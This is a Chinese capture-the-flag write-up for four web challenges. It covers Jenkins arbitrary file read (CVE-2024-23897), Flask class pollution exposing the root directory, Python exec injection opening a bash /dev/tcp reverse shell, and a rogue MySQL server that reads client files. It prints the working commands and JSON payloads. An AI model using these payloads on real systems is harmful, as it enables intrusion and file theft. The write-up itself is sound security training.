web

Jenkins

Jenkins版本为2.44.1,存在任意文件读取漏洞,参考https://github.com/vulhub/vulhub/blob/master/jenkins/CVE-2024-23897/README.zh-cn.md

访问8.130.84.100:8080/jnlpJars/jenkins-cli.jar下载到官方提供的命令行客户端后,输入命令:

1
java -jar jenkins-cli.jar -s http://8.130.84.100:8080 -http connect-node "@/flag"

basic_flask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request
import json

app = Flask(__name__)

'''
'''
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


class Dst():
def __init__(self):
pass


dst = Dst()


@app.route('/',methods=['GET','POST'])
def index():
if request.method=='GET':
return open("main.py").read()
merge(request.get_json(), dst)
return "Success"


if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000, debug=True)

flask原型链污染,post发包

1
{"__init__":{"__globals__":{"app":{"_static_folder":"/"}}}}

这里解释一下:

  • app全局变量:
    • app对象包含了大量的方法和功能,例如route run add_url_rule等,这些方法用于处理请求和设置应用的各种配置
  • _static_folder全局变量:
    • _static_folder是flask应用中应用中用于指定静态文件的文件夹路径/static,包括CSS JS 和图像文件等

这里就是把根目录设置为了静态文件的存放目录,原型链污染之后就可以通过访问/static/<filename>来实现任意文件下载

basic_pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, request

app = Flask(__name__)

functions=globals()['__builtins__'].__dict__


@app.route('/', methods=['GET'])
def index():
return open(__file__).read()

@app.route('/pwn',methods=['POST'])
def pwn():
stack = []
stack.append('print')
name=request.get_json().get("name")
if not name:
return "Fail"
stack.extend(name)
args=stack.pop()
func=stack.pop()
functions[func](args)
return "Success"

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

本地测一下就知道self.__init__.globals__.__builtins__下面有exec, eval两个可以执行代码的模块,这里用exec来反弹shell

1
{ "name": ["exec","__import__('os').popen('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').read()"]}

rouge_mysql

注意到这一段,处理MySQL LOAD DATA INFILE等需要读取本地文件的操作

1
2
3
4
5
6
7
8
9
10
11
impl GlobalHandler for UnsafeFsHandler {
fn handle(&self, file_name: &[u8]) -> BoxFuture<'static, Result<InfileData, LocalInfileError>> {
let path = String::from_utf8_lossy(file_name).to_string();
async move {
println!("reading file: {}", path);
let file = File::open(path).await?;
Ok(Box::pin(ReaderStream::new(file)) as InfileData)
}
.boxed()
}
}

考点大概是通过MySQL LOAD DATA特性来达到任意文件读取,我们需要构造一个恶意的mysql服务,这个mysql服务甚至不需要实现任何功能,当客户端连接上这个假的恶意mysql服务时,就能完成对客户端的文件读取

参考:Read MySQL Client’s File - lightless blog

直接用工具一把嗦了PumpkinDemo/Rogue-Mysql-Server: A rogue mysql server written with python asyncio (github.com)

vps上运行server.py,把要读取的文件改为/flag,然后客户端上访问ip:3306,其他参数随意